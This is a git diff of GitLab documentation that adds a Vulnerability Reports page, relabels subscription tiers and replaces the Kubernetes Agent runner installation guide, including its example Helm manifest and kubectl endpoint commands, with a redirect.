[gemnasium](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium) | **{check-circle}** Yes | CVSS v2.0 Rating and CVSS v3.1 Qualitative Severity Rating | `(AV:N/AC:L/Au:S/C:P/I:P/A:N)`, `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` | +| [`bundler-audit`](https://gitlab.com/gitlab-org/security-products/analyzers/bundler-audit) | **{check-circle}** Yes | String | `low`, `medium`, `high`, `critical` | +| [`retire.js`](https://gitlab.com/gitlab-org/security-products/analyzers/retire.js) | **{check-circle}** Yes | String | `low`, `medium`, `high`, `critical` | +| [`gemnasium`](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium) | **{check-circle}** Yes | CVSS v2.0 Rating and CVSS v3.1 Qualitative Severity Rating | `(AV:N/AC:L/Au:S/C:P/I:P/A:N)`, `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` | ## Container Scanning | GitLab analyzer | Outputs severity levels? | Native severity level type | Native severity level example | |------------------------------------------------------------------------|--------------------------|----------------------------|--------------------------------------------------------------| -| [klar](https://gitlab.com/gitlab-org/security-products/analyzers/klar) | **{check-circle}** Yes | String | `Negligible`, `Low`, `Medium`, `High`, `Critical`, `Defcon1` | +| [`klar`](https://gitlab.com/gitlab-org/security-products/analyzers/klar) | **{check-circle}** Yes | String | `Negligible`, `Low`, `Medium`, `High`, `Critical`, `Defcon1` | ## Fuzz Testing diff --git a/doc/user/application_security/vulnerability_report/img/group_vulnerability_report_v13_9.png b/doc/user/application_security/vulnerability_report/img/group_vulnerability_report_v13_9.png Binary files differnew file mode 100644 index 00000000000..72443180e09 --- /dev/null +++ b/doc/user/application_security/vulnerability_report/img/group_vulnerability_report_v13_9.png diff --git a/doc/user/application_security/vulnerability_report/img/project_security_dashboard_dismissal_v13_9.png b/doc/user/application_security/vulnerability_report/img/project_security_dashboard_dismissal_v13_9.png Binary files differnew file mode 100644 index 00000000000..ef96cf31fa4 --- /dev/null +++ b/doc/user/application_security/vulnerability_report/img/project_security_dashboard_dismissal_v13_9.png diff --git a/doc/user/application_security/vulnerability_report/img/project_security_dashboard_v13_9.png b/doc/user/application_security/vulnerability_report/img/project_security_dashboard_v13_9.png Binary files differnew file mode 100644 index 00000000000..83e67a24b78 --- /dev/null +++ b/doc/user/application_security/vulnerability_report/img/project_security_dashboard_v13_9.png diff --git a/doc/user/application_security/security_dashboard/img/vulnerability_details_create_issue_v13_7.png b/doc/user/application_security/vulnerability_report/img/vulnerability_details_create_issue_v13_7.png Binary files differindex 5184ad85fa9..5184ad85fa9 100644 --- a/doc/user/application_security/security_dashboard/img/vulnerability_details_create_issue_v13_7.png +++ b/doc/user/application_security/vulnerability_report/img/vulnerability_details_create_issue_v13_7.png diff --git a/doc/user/application_security/vulnerability_report/img/vulnerability_list_table_v13_9.png b/doc/user/application_security/vulnerability_report/img/vulnerability_list_table_v13_9.png Binary files differnew file mode 100644 index 00000000000..bfde7cd6c80 --- /dev/null +++ b/doc/user/application_security/vulnerability_report/img/vulnerability_list_table_v13_9.png diff --git a/doc/user/application_security/vulnerability_report/index.md b/doc/user/application_security/vulnerability_report/index.md new file mode 100644 index 00000000000..28083e09f1c --- /dev/null +++ b/doc/user/application_security/vulnerability_report/index.md @@ -0,0 +1,95 @@ +--- +type: reference, howto +stage: Secure +group: Threat Insights +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# GitLab Vulnerability Reports **(ULTIMATE)** + +Each vulnerability report contains vulnerabilities from the scans of the most recent branch merged into the default branch. + +The vulnerability reports display the total number of vulnerabilities by severity (for example, +Critical, High, Medium, Low, Info, Unknown). Below this, a table shows each vulnerability's detected date, status, severity, description, identifier, the scanner where it was detected, and activity (including related issues or available solutions). By default, the vulnerability report is filtered to display all detected and confirmed vulnerabilities. + + + +You can filter which vulnerabilities display by: + +| Filter | Available Options | +| --- | --- | +| Status | Detected, Confirmed, Dismissed, Resolved | +| Severity | Critical, High, Medium, Low, Info, Unknown | +| Scanner | [Available Scanners](../index.md#security-scanning-tools) | +| Project | Projects configured in the Security Center settings, or all projects in the group for the group level report. This filter is not displayed on the project level vulnerability report | +| Activity | Vulnerabilities with issues and vulnerabilities that are no longer detected in the default branch | + +The Activity filter behaves differently from the other Vulnerability Report filters. The other filter options all OR together to show results from any vulnerability matching one of the filter criteria. With the Activity filter, the selected values form mutually exclusive sets to allow for precisely locating the desired vulnerability records. Additionally, not all options can be selected in combination. Selection behavior when using the Activity filter: + +| Activity Selection | Results Displayed | +| --- | --- | +| All | Vulnerabilities with any Activity status (same as ignoring this filter). Selecting this will deselect any other Activity filter options. | +| No activity | Only vulnerabilities without either an associated Issue or that are no longer detected. Selecting this will deselect any other Activity filter options. | +| With issues | Only vulnerabilities with one or more associated issues. Does not include vulnerabilities that also are no longer detected. | +| No longer detected | Only vulnerabilities that are no longer detected in the latest pipeline scan of the `default` branch. Does not include vulnerabilities with one or more associated issues. | +| With issues and No longer detected | Only vulnerabilities that have one or more associated issues and also are no longer detected in the latest pipeline scan of the `default` branch. | + +Clicking any vulnerability in the table takes you to its +[vulnerability details](../vulnerabilities) page to see more information on that vulnerability. + +The **Activity** column indicates the number of issues that have been created for the vulnerability. +Hover over an **Activity** entry and select a link go to that issue. + + + +Contents of the unfiltered vulnerability report can be exported using our [export feature](#export-vulnerabilities). + +You can also dismiss vulnerabilities in the table: + +1. Select the checkbox for each vulnerability you want to dismiss. +1. In the menu that appears, select the reason for dismissal and click **Dismiss Selected**. + + + +## Project Vulnerability Report + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6165) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.1. + +The vulnerabilities that exist in your project's +[default branch](../../project/repository/branches/index.md#default-branch) are accessed by navigating to +**Security & Compliance > Vulnerability Report**. + +The project vulnerability report first displays the time at which the last pipeline completed on the project's +default branch. There's also a link to view this in more detail. In the case of any pipeline failures, +the number of failures is indicated. The failure notification takes you directly to +the **Failed jobs** tab of the pipeline page. + + + +## Export vulnerabilities + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213014) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.10. + +You can export all your vulnerabilities in CSV (comma separated values) format by clicking the +**{upload}** **Export** button located at top right of the Security Dashboard. When the report is +ready, the CSV report downloads to your local machine. The report contains all vulnerabilities for +the projects defined in the Security Dashboard, as filters don't apply to the export function. + +NOTE: +It may take several minutes for the download to start if your project contains +thousands of vulnerabilities. Don't close the page until the download finishes. + +The fields in the export include: + +- Group Name +- Project Name +- Scanner Type +- Scanner Name +- Status +- Vulnerability +- Details +- Additional Information +- Severity +- [CVE](https://cve.mitre.org/) (Common Vulnerabilities and Exposures) +- [CWE](https://cwe.mitre.org/) (Common Weakness Enumeration) +- Other Identifiers diff --git a/doc/user/asciidoc.md b/doc/user/asciidoc.md index 546746af535..07593c98da9 100644 --- a/doc/user/asciidoc.md +++ b/doc/user/asciidoc.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, howto --- -# AsciiDoc +# AsciiDoc **(FREE)** GitLab uses the [Asciidoctor](https://asciidoctor.org) gem to convert AsciiDoc content to HTML5. Consult the [Asciidoctor User Manual](https://asciidoctor.org/docs/user-manual/) for a complete Asciidoctor reference. @@ -40,7 +40,7 @@ Notice how line breaks are now preserved. An indented (literal) paragraph disables text formatting, preserves spaces and line breaks, and is displayed in a -monospaced font: +fixed-width font: ```plaintext This literal paragraph is indented with one space. @@ -186,8 +186,12 @@ Attach a block or paragraph to a list item using a list continuation (which you * [ ] not checked ``` +<!-- vale gitlab.Spelling = NO --> + #### Callout +<!-- vale gitlab.Spelling = YES --> + ```plaintext // enable callout bubbles by adding `:icons: font` to the document header [,ruby] diff --git a/doc/user/award_emojis.md b/doc/user/award_emojis.md index 4ece94447bc..de250bc5fb4 100644 --- a/doc/user/award_emojis.md +++ b/doc/user/award_emojis.md @@ -4,7 +4,7 @@ group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Award emoji **(CORE)** +# Award emoji **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/1825) in GitLab 8.2. > - GitLab 9.0 [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9570) the usage of native emoji if the platform diff --git a/doc/user/clusters/agent/index.md b/doc/user/clusters/agent/index.md index 2c0d9b6c9ce..6f3d1e197f5 100644 --- a/doc/user/clusters/agent/index.md +++ b/doc/user/clusters/agent/index.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab Kubernetes Agent **(PREMIUM ONLY)** +# GitLab Kubernetes Agent **(PREMIUM SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/223061) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4. > - It's disabled on GitLab.com. Rolling this feature out to GitLab.com is [planned](https://gitlab.com/groups/gitlab-org/-/epics/3834). @@ -190,7 +190,7 @@ the Agent in subsequent steps. You can create an Agent record either: For full details, read [Starting a Rails console session](../../../administration/operations/rails_console.md#starting-a-rails-console-session). -- Through GraphQL: **(PREMIUM ONLY)** +- Through GraphQL: **(PREMIUM SELF)** ```graphql mutation createAgent { @@ -439,49 +439,23 @@ The following example projects can help you get started with the Kubernetes Agen - [Configuration repository](https://gitlab.com/gitlab-org/configure/examples/kubernetes-agent) - This basic GitOps example deploys NGINX: [Manifest repository](https://gitlab.com/gitlab-org/configure/examples/gitops-project) -- [Install GitLab Runner](runner.md) ### Deploying GitLab Runner with the Agent -These instructions assume that the Agent is already set up as described in the -[Get started with GitOps](#get-started-with-gitops-and-the-gitlab-agent): +You can use the Kubernetes Agent to +[deploy GitLab Runner in a Kubernetes cluster](http://docs.gitlab.com/runner/install/kubernetes-agent.html). -1. Check the possible - [Runner chart YAML values](https://gitlab.com/gitlab-org/charts/gitlab-runner/blob/master/values.yaml) - on the Runner chart documentation, and create a `runner-chart-values.yaml` file - with the configuration that fits your needs, such as: +## Management interfaces - ```yaml - ## The GitLab Server URL (with protocol) that want to register the runner against - ## ref: https://docs.gitlab.com/runner/commands/README.html#gitlab-runner-register - ## - gitlabUrl: https://gitlab.my.domain.com/ +Users with at least the [Developer](../../permissions.md) can access the user interface +for the GitLab Kubernetes agent at **Operations > Kubernetes** and selecting the +**GitLab Agent managed clusters** tab. This page lists all registered agents for +the current project, and the configuration directory for each agent: - ## The Registration Token for adding new Runners to the GitLab Server. This must - ## be retrieved from your GitLab Instance. - ## ref: https://docs.gitlab.com/ce/ci/runners/README.html - ## - runnerRegistrationToken: "XXXXXXYYYYYYZZZZZZ" + - ## For RBAC support: - rbac: - create: true - - ## Run all containers with the privileged flag enabled - ## This will allow the docker:dind image to run if you need to run Docker - ## commands. Please read the docs before turning this on: - ## ref: https://docs.gitlab.com/runner/executors/kubernetes.html#using-dockerdind - runners: - privileged: true - ``` - -1. Create a single manifest file to install the Runner chart with your cluster agent: - - ```shell - helm template --namespace gitlab gitlab-runner -f runner-chart-values.yaml gitlab/gitlab-runner > manifest.yaml - ``` - -1. Push your `manifest.yaml` to your manifest repository. +Additional management interfaces are planned for the GitLab Kubernetes Agent. +[Provide more feedback in the related epic](https://gitlab.com/groups/gitlab-org/-/epics/4739). ## Troubleshooting diff --git a/doc/user/clusters/agent/repository.md b/doc/user/clusters/agent/repository.md index b71bbc29ef9..60d8cd352fc 100644 --- a/doc/user/clusters/agent/repository.md +++ b/doc/user/clusters/agent/repository.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- -# Kubernetes Agent configuration repository **(PREMIUM ONLY)** +# Kubernetes Agent configuration repository **(PREMIUM SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/259669) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.7. > - It's disabled on GitLab.com. Rolling this feature out to GitLab.com is [planned](https://gitlab.com/groups/gitlab-org/-/epics/3834). diff --git a/doc/user/clusters/agent/runner.md b/doc/user/clusters/agent/runner.md index 715b27f951a..bbf07d4ea84 100644 --- a/doc/user/clusters/agent/runner.md +++ b/doc/user/clusters/agent/runner.md @@ -1,452 +1,8 @@ --- -stage: Configure -group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +redirect_to: 'https://docs.gitlab.com/runner/install/kubernetes-agent.html' --- -# Install GitLab Runner with Kubernetes Agent **(PREMIUM ONLY)** +This document was moved to [another location](https://docs.gitlab.com/runner/install/kubernetes-agent.html). -These instructions to install the GitLab Runner assume the -[GitLab Kubernetes Agent](index.md) is already configured. - -1. Review the possible [Runner chart YAML values](https://gitlab.com/gitlab-org/charts/gitlab-runner/blob/master/values.yaml) in the Runner chart documentation, - and create a `runner-chart-values.yaml` file with the configuration that fits - your needs, such as: - - ```yaml - # The GitLab Server URL (with protocol) that want to register the runner against - # ref: https://docs.gitlab.com/runner/commands/README.html#gitlab-runner-register - # - gitlabUrl: https://gitlab.my.domain.example.com/ - - # The Registration Token for adding new Runners to the GitLab Server. This must - # be retrieved from your GitLab Instance. - # ref: https://docs.gitlab.com/ce/ci/runners/README.html - # - runnerRegistrationToken: "yrnZW46BrtBFqM7xDzE7dddd" - - # For RBAC support: - rbac: - create: true - - # Run all containers with the privileged flag enabled - # This will allow the docker:dind image to run if you need to run Docker - # commands. Please read the docs before turning this on: - # ref: https://docs.gitlab.com/runner/executors/kubernetes.html#using-dockerdind - runners: - privileged: true - ``` - -1. Create a single manifest file to install the Runner chart with your cluster agent, - replacing `GITLAB GITLAB-RUNNER` with your namespace: - - ```shell - helm template --namespace GITLAB GITLAB-RUNNER -f runner-chart-values.yaml gitlab/gitlab-runner > runner-manifest.yaml - ``` - - An [example file is available](#example-runner-manifest). - -1. Push your `runner-manifest.yaml` to your manifest repository. - -## Example Runner manifest - -```yaml -# This code is an example of a runner manifest looks like. -# Create your own manifest.yaml file to meet your project's needs. - ---- -# Source: gitlab-runner/templates/service-account.yaml -apiVersion: v1 -kind: ServiceAccount -metadata: - annotations: - name: gitlab-runner-gitlab-runner - labels: - app: gitlab-runner-gitlab-runner - chart: gitlab-runner-0.21.1 - release: "gitlab-runner" - heritage: "Helm" ---- -# Source: gitlab-runner/templates/secrets.yaml -apiVersion: v1 -kind: Secret -metadata: - name: "gitlab-runner-gitlab-runner" - labels: - app: gitlab-runner-gitlab-runner - chart: gitlab-runner-0.21.1 - release: "gitlab-runner" - heritage: "Helm" -type: Opaque -data: - runner-registration-token: "FAKE-TOKEN" - runner-token: "" ---- -# Source: gitlab-runner/templates/configmap.yaml -apiVersion: v1 -kind: ConfigMap -metadata: - name: gitlab-runner-gitlab-runner - labels: - app: gitlab-runner-gitlab-runner - chart: gitlab-runner-0.21.1 - release: "gitlab-runner" - heritage: "Helm" -data: - entrypoint: | - #!/bin/bash - set -e - mkdir -p /home/gitlab-runner/.gitlab-runner/ - cp /scripts/config.toml /home/gitlab-runner/.gitlab-runner/ - - # Register the runner - if [[ -f /secrets/accesskey && -f /secrets/secretkey ]]; then - export CACHE_S3_ACCESS_KEY=$(cat /secrets/accesskey) - export CACHE_S3_SECRET_KEY=$(cat /secrets/secretkey) - fi - - if [[ -f /secrets/gcs-applicaton-credentials-file ]]; then - export GOOGLE_APPLICATION_CREDENTIALS="/secrets/gcs-applicaton-credentials-file" - elif [[ -f /secrets/gcs-application-credentials-file ]]; then - export GOOGLE_APPLICATION_CREDENTIALS="/secrets/gcs-application-credentials-file" - else - if [[ -f /secrets/gcs-access-id && -f /secrets/gcs-private-key ]]; then - export CACHE_GCS_ACCESS_ID=$(cat /secrets/gcs-access-id) - # echo -e used to make private key multiline (in google json auth key private key is oneline with \n) - export CACHE_GCS_PRIVATE_KEY=$(echo -e $(cat /secrets/gcs-private-key)) - fi - fi - - if [[ -f /secrets/runner-registration-token ]]; then - export REGISTRATION_TOKEN=$(cat /secrets/runner-registration-token) - fi - - if [[ -f /secrets/runner-token ]]; then - export CI_SERVER_TOKEN=$(cat /secrets/runner-token) - fi - - if ! sh /scripts/register-the-runner; then - exit 1 - fi - - # Run pre-entrypoint-script - if ! bash /scripts/pre-entrypoint-script; then - exit 1 - fi - - # Start the runner - exec /entrypoint run --user=gitlab-runner \ - --working-directory=/home/gitlab-runner - - config.toml: | - concurrent = 10 - check_interval = 30 - log_level = "info" - listen_address = ':9252' - configure: | - set -e - cp /init-secrets/* /secrets - register-the-runner: | - #!/bin/bash - MAX_REGISTER_ATTEMPTS=30 - - for i in $(seq 1 "${MAX_REGISTER_ATTEMPTS}"); do - echo "Registration attempt ${i} of ${MAX_REGISTER_ATTEMPTS}" - /entrypoint register \ - --non-interactive - - retval=$? - - if [ ${retval} = 0 ]; then - break - elif [ ${i} = ${MAX_REGISTER_ATTEMPTS} ]; then - exit 1 - fi - - sleep 5 - done - - exit 0 - - check-live: | - #!/bin/bash - if /usr/bin/pgrep -f .*register-the-runner; then - exit 0 - elif /usr/bin/pgrep gitlab.*runner; then - exit 0 - else - exit 1 - fi - - pre-entrypoint-script: | ---- -# Source: gitlab-runner/templates/role.yaml -apiVersion: rbac.authorization.k8s.io/v1 -kind: "Role" -metadata: - name: gitlab-runner-gitlab-runner - labels: - app: gitlab-runner-gitlab-runner - chart: gitlab-runner-0.21.1 - release: "gitlab-runner" - heritage: "Helm" -rules: -- apiGroups: [""] - resources: ["*"] - verbs: ["*"] ---- -# Source: gitlab-runner/templates/role-binding.yaml -apiVersion: rbac.authorization.k8s.io/v1 -kind: "RoleBinding" -metadata: - name: gitlab-runner-gitlab-runner - labels: - app: gitlab-runner-gitlab-runner - chart: gitlab-runner-0.21.1 - release: "gitlab-runner" - heritage: "Helm" -roleRef: - apiGroup: rbac.authorization.k8s.io - kind: "Role" - name: gitlab-runner-gitlab-runner -subjects: -- kind: ServiceAccount - name: gitlab-runner-gitlab-runner - namespace: "gitlab" ---- -# Source: gitlab-runner/templates/deployment.yaml -apiVersion: apps/v1 -kind: Deployment -metadata: - name: gitlab-runner-gitlab-runner - labels: - app: gitlab-runner-gitlab-runner - chart: gitlab-runner-0.21.1 - release: "gitlab-runner" - heritage: "Helm" -spec: - replicas: 1 - selector: - matchLabels: - app: gitlab-runner-gitlab-runner - template: - metadata: - labels: - app: gitlab-runner-gitlab-runner - chart: gitlab-runner-0.21.1 - release: "gitlab-runner" - heritage: "Helm" - annotations: - checksum/configmap: a6623303f6fcc3a043e87ea937bb8399d2d0068a901aa9c3419ed5c7a5afa9db - checksum/secrets: 32c7d2c16918961b7b84a005680f748e774f61c6f4e4da30650d400d781bbb30 - prometheus.io/scrape: 'true' - prometheus.io/port: '9252' - spec: - securityContext: - runAsUser: 100 - fsGroup: 65533 - terminationGracePeriodSeconds: 3600 - initContainers: - - name: configure - command: ['sh', '/config/configure'] - image: gitlab/gitlab-runner:alpine-v13.4.1 - imagePullPolicy: "IfNotPresent" - env: - - - name: CI_SERVER_URL - value: "https://gitlab.qa.joaocunha.eu/" - - name: CLONE_URL - value: "" - - name: RUNNER_REQUEST_CONCURRENCY - value: "1" - - name: RUNNER_EXECUTOR - value: "kubernetes" - - name: REGISTER_LOCKED - value: "true" - - name: RUNNER_TAG_LIST - value: "" - - name: RUNNER_OUTPUT_LIMIT - value: "4096" - - name: KUBERNETES_IMAGE - value: "ubuntu:16.04" - - - name: KUBERNETES_PRIVILEGED - value: "true" - - - name: KUBERNETES_NAMESPACE - value: "gitlab" - - name: KUBERNETES_POLL_TIMEOUT - value: "180" - - name: KUBERNETES_CPU_LIMIT - value: "" - - name: KUBERNETES_CPU_LIMIT_OVERWRITE_MAX_ALLOWED - value: "" - - name: KUBERNETES_MEMORY_LIMIT - value: "" - - name: KUBERNETES_MEMORY_LIMIT_OVERWRITE_MAX_ALLOWED - value: "" - - name: KUBERNETES_CPU_REQUEST - value: "" - - name: KUBERNETES_CPU_REQUEST_OVERWRITE_MAX_ALLOWED - value: "" - - name: KUBERNETES_MEMORY_REQUEST - value: "" - - name: KUBERNETES_MEMORY_REQUEST_OVERWRITE_MAX_ALLOWED - value: "" - - name: KUBERNETES_SERVICE_ACCOUNT - value: "" - - name: KUBERNETES_SERVICE_CPU_LIMIT - value: "" - - name: KUBERNETES_SERVICE_MEMORY_LIMIT - value: "" - - name: KUBERNETES_SERVICE_CPU_REQUEST - value: "" - - name: KUBERNETES_SERVICE_MEMORY_REQUEST - value: "" - - name: KUBERNETES_HELPER_CPU_LIMIT - value: "" - - name: KUBERNETES_HELPER_MEMORY_LIMIT - value: "" - - name: KUBERNETES_HELPER_CPU_REQUEST - value: "" - - name: KUBERNETES_HELPER_MEMORY_REQUEST - value: "" - - name: KUBERNETES_HELPER_IMAGE - value: "" - - name: KUBERNETES_PULL_POLICY - value: "" - volumeMounts: - - name: runner-secrets - mountPath: /secrets - readOnly: false - - name: scripts - mountPath: /config - readOnly: true - - name: init-runner-secrets - mountPath: /init-secrets - readOnly: true - resources: - {} - serviceAccountName: gitlab-runner-gitlab-runner - containers: - - name: gitlab-runner-gitlab-runner - image: gitlab/gitlab-runner:alpine-v13.4.1 - imagePullPolicy: "IfNotPresent" - lifecycle: - preStop: - exec: - command: ["/entrypoint", "unregister", "--all-runners"] - command: ["/bin/bash", "/scripts/entrypoint"] - env: - - - name: CI_SERVER_URL - value: "https://gitlab.qa.joaocunha.eu/" - - name: CLONE_URL - value: "" - - name: RUNNER_REQUEST_CONCURRENCY - value: "1" - - name: RUNNER_EXECUTOR - value: "kubernetes" - - name: REGISTER_LOCKED - value: "true" - - name: RUNNER_TAG_LIST - value: "" - - name: RUNNER_OUTPUT_LIMIT - value: "4096" - - name: KUBERNETES_IMAGE - value: "ubuntu:16.04" - - - name: KUBERNETES_PRIVILEGED - value: "true" - - - name: KUBERNETES_NAMESPACE - value: "gitlab" - - name: KUBERNETES_POLL_TIMEOUT - value: "180" - - name: KUBERNETES_CPU_LIMIT - value: "" - - name: KUBERNETES_CPU_LIMIT_OVERWRITE_MAX_ALLOWED - value: "" - - name: KUBERNETES_MEMORY_LIMIT - value: "" - - name: KUBERNETES_MEMORY_LIMIT_OVERWRITE_MAX_ALLOWED - value: "" - - name: KUBERNETES_CPU_REQUEST - value: "" - - name: KUBERNETES_CPU_REQUEST_OVERWRITE_MAX_ALLOWED - value: "" - - name: KUBERNETES_MEMORY_REQUEST - value: "" - - name: KUBERNETES_MEMORY_REQUEST_OVERWRITE_MAX_ALLOWED - value: "" - - name: KUBERNETES_SERVICE_ACCOUNT - value: "" - - name: KUBERNETES_SERVICE_CPU_LIMIT - value: "" - - name: KUBERNETES_SERVICE_MEMORY_LIMIT - value: "" - - name: KUBERNETES_SERVICE_CPU_REQUEST - value: "" - - name: KUBERNETES_SERVICE_MEMORY_REQUEST - value: "" - - name: KUBERNETES_HELPER_CPU_LIMIT - value: "" - - name: KUBERNETES_HELPER_MEMORY_LIMIT - value: "" - - name: KUBERNETES_HELPER_CPU_REQUEST - value: "" - - name: KUBERNETES_HELPER_MEMORY_REQUEST - value: "" - - name: KUBERNETES_HELPER_IMAGE - value: "" - - name: KUBERNETES_PULL_POLICY - value: "" - livenessProbe: - exec: - command: ["/bin/bash", "/scripts/check-live"] - initialDelaySeconds: 60 - timeoutSeconds: 1 - periodSeconds: 10 - successThreshold: 1 - failureThreshold: 3 - readinessProbe: - exec: - command: ["/usr/bin/pgrep","gitlab.*runner"] - initialDelaySeconds: 10 - timeoutSeconds: 1 - periodSeconds: 10 - successThreshold: 1 - failureThreshold: 3 - ports: - - name: metrics - containerPort: 9252 - volumeMounts: - - name: runner-secrets - mountPath: /secrets - - name: etc-gitlab-runner - mountPath: /home/gitlab-runner/.gitlab-runner - - name: scripts - mountPath: /scripts - resources: - {} - volumes: - - name: runner-secrets - emptyDir: - medium: "Memory" - - name: etc-gitlab-runner - emptyDir: - medium: "Memory" - - name: init-runner-secrets - projected: - sources: - - secret: - name: "gitlab-runner-gitlab-runner" - items: - - key: runner-registration-token - path: runner-registration-token - - key: runner-token - path: runner-token - - name: scripts - configMap: - name: gitlab-runner-gitlab-runner -``` +<!-- This redirect file can be deleted after <2022-02-01>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
\ No newline at end of file diff --git a/doc/user/clusters/applications.md b/doc/user/clusters/applications.md index b03dfb79ae0..ad92cf9b4ed 100644 --- a/doc/user/clusters/applications.md +++ b/doc/user/clusters/applications.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab Managed Apps +# GitLab Managed Apps **(FREE)** GitLab provides **GitLab Managed Apps** for various applications which can be added directly to your configured cluster. These @@ -20,10 +20,9 @@ have been deprecated, and are scheduled for removal in GitLab 14.0. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20822) in GitLab 12.6. WARNING: -This is an _alpha_ feature, and is subject to change at any time without -prior notice. +This is a _beta_ feature, and some applications might miss features to provide full integration with GitLab. -This alternative method allows users to install GitLab-managed +This primary method for installing applications to clusters allows users to install GitLab-managed applications using GitLab CI/CD. It also allows customization of the install using Helm `values.yaml` files. @@ -418,6 +417,8 @@ You can check the recommended variables for each cluster type in the official do - [Google GKE](https://docs.cilium.io/en/stable/gettingstarted/k8s-install-gke/#deploy-cilium) - [AWS EKS](https://docs.cilium.io/en/stable/gettingstarted/k8s-install-eks/#deploy-cilium) +Do not use `clusterType` for sandbox environments like [Minikube](https://minikube.sigs.k8s.io/docs/). + You can customize Cilium's Helm variables by defining the `.gitlab/managed-apps/cilium/values.yaml` file in your cluster management project. Refer to the @@ -1199,53 +1200,8 @@ determine the endpoint of your Ingress or Knative application, you can #### Determining the external endpoint manually -If the cluster is on GKE, click the **Google Kubernetes Engine** link in the -**Advanced settings**, or go directly to the -[Google Kubernetes Engine dashboard](https://console.cloud.google.com/kubernetes/) -and select the proper project and cluster. Then click **Connect** and execute -the `gcloud` command in a local terminal or using the **Cloud Shell**. - -If the cluster is not on GKE, follow the specific instructions for your -Kubernetes provider to configure `kubectl` with the right credentials. -The output of the following examples show the external endpoint of your -cluster. This information can then be used to set up DNS entries and forwarding -rules that allow external access to your deployed applications. - -- If you installed Ingress using the **Applications**, run the following - command: - - ```shell - kubectl get service --namespace=gitlab-managed-apps ingress-nginx-ingress-controller -o jsonpath='{.status.loadBalancer.ingress[0].ip}' - ``` - -- Some Kubernetes clusters return a hostname instead, like - [Amazon EKS](https://aws.amazon.com/eks/). For these platforms, run: - - ```shell - kubectl get service --namespace=gitlab-managed-apps ingress-nginx-ingress-controller -o jsonpath='{.status.loadBalancer.ingress[0].hostname}' - ``` - - If EKS is used, an [Elastic Load Balancer](https://docs.aws.amazon.com/elasticloadbalancing/) - is also created, which incurs additional AWS costs. - -- For Istio/Knative, the command is different: - - ```shell - kubectl get svc --namespace=istio-system istio-ingressgateway -o jsonpath='{.status.loadBalancer.ingress[0].ip} ' - ``` - -- Otherwise, you can list the IP addresses of all load balancers: - - ```shell - kubectl get svc --all-namespaces -o jsonpath='{range.items[?(@.status.loadBalancer.ingress)]}{.status.loadBalancer.ingress[*].ip} ' - ``` - -You may see a trailing `%` on some Kubernetes versions. Do not include it. - -The Ingress is now available at this address, and routes incoming requests to -the proper service based on the DNS name in the request. To support this, create -a wildcard DNS CNAME record for the desired domain name. For example, -`*.myekscluster.com` would point to the Ingress hostname obtained earlier. +See the [Base domain section](../project/clusters/index.md#base-domain) for a +guide on how to determine the external endpoint manually. #### Using a static IP diff --git a/doc/user/clusters/crossplane.md b/doc/user/clusters/crossplane.md index c1ef798f5a8..bdf9d582b93 100644 --- a/doc/user/clusters/crossplane.md +++ b/doc/user/clusters/crossplane.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Crossplane configuration +# Crossplane configuration **(FREE)** After [installing](applications.md#crossplane) Crossplane, you must configure it for use. The process of configuring Crossplane includes: diff --git a/doc/user/clusters/environments.md b/doc/user/clusters/environments.md index be4ac8151e4..cb721115e76 100644 --- a/doc/user/clusters/environments.md +++ b/doc/user/clusters/environments.md @@ -6,8 +6,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Cluster Environments **(PREMIUM)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13392) for group-level clusters in [GitLab Premium](https://about.gitlab.com/pricing/) 12.3. -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14809) for instance-level clusters in [GitLab Premium](https://about.gitlab.com/pricing/) 12.4. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13392) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.3 for group-level clusters. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14809) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.4 for instance-level clusters. Cluster environments provide a consolidated view of which CI [environments](../../ci/environments/index.md) are deployed to the Kubernetes cluster and it: @@ -38,7 +38,7 @@ In order to: - Show pod usage correctly, you must [enable Deploy Boards](../project/deploy_boards.md#enabling-deploy-boards). -Once you have successful deployments to your group-level or instance-level cluster: +After you have successful deployments to your group-level or instance-level cluster: 1. Navigate to your group's 